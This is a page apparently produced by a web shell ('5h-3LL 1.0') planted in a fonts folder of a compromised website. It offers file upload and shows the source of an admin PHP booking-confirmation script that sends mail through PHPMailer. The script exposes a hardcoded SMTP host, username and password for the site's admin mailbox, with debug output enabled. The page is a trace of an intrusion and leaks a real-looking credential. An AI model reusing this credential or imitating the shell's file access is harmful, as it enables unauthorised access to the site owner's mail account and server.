HOME


5h-3LL 1.0
DIR: /home/aissorg/public_html/fonts/qzfcvsedcv/werwcwsfs
/home/aissorg/public_html/fonts/qzfcvsedcv/werwcwsfs/
Upload File:
Current File : /home/aissorg/public_html/fonts/qzfcvsedcv/werwcwsfs/confirm_mail.php.tar
home/aissorg/public_html/admin/confirm_mail.php000064400000004553151162316270015720 0ustar00<?php
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require '../PHPMailer/src/Exception.php';
require '../PHPMailer/src/PHPMailer.php';
require '../PHPMailer/src/SMTP.php';
include('include/config.php');

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'confirm') {
    $bookingId = intval($_POST['booking_id']);
    if (!$bookingId) {
        die("Invalid booking ID.");
    }

    $update_query = "UPDATE rooms SET status = 1 WHERE id = ?";
    $update_stmt = $con->prepare($update_query);
    if (!$update_stmt) {
        die("Database error: " . $con->error);
    }
    $update_stmt->bind_param("i", $bookingId);
    if (!$update_stmt->execute()) {
        die("Failed to update booking status.");
    }
    $update_stmt->close();

    $sql = "SELECT checkin_date FROM rooms WHERE id = ?";
    $stmt = $con->prepare($sql);
    if (!$stmt) {
        die("Database error: " . $con->error);
    }
    $stmt->bind_param("i", $bookingId);
    $stmt->execute();
    $result = $stmt->get_result();
    $row = $result->fetch_assoc();
    $stmt->close();

    if (!$row) {
        die("Booking not found.");
    }

    $checkInDate = $row['checkin_date']; // <-- Correct field

    $message = "Your reservation is confirmed. Booking ID: $bookingId, Check-In Date: $checkInDate";

    // Send Email
    $mail = new PHPMailer(true);

    try {
        $mail->SMTPDebug = 2; // Enable debugging
        $mail->Debugoutput = 'html'; 

        $mail->isSMTP();
        $mail->Host       = 'v22437909.sin01.serveradd.com';
        $mail->SMTPAuth   = true;
        $mail->Username   = 'admin@aiss.org.in';
        $mail->Password   = 'Oo(hKvdR.52E';
        $mail->SMTPSecure = 'ssl';
        $mail->Port       = 465;

        $mail->setFrom('admin@aiss.org.in', 'Sai Baba Temple');
        $mail->addAddress('kavintechsolutions@gmail.com'); // Internal team email

        $mail->isHTML(false);
        $mail->Subject = "Booking Confirmation";
        $mail->Body    = $message;

        $mail->send();

        echo "<script>alert('" . addslashes($message) . "'); window.location.href='room-booking-list.php';</script>";
    } catch (Exception $e) {
        echo "Email could not be sent. Mailer Error: {$mail->ErrorInfo}";
    }
} else {
    die("Invalid request.");
}
?>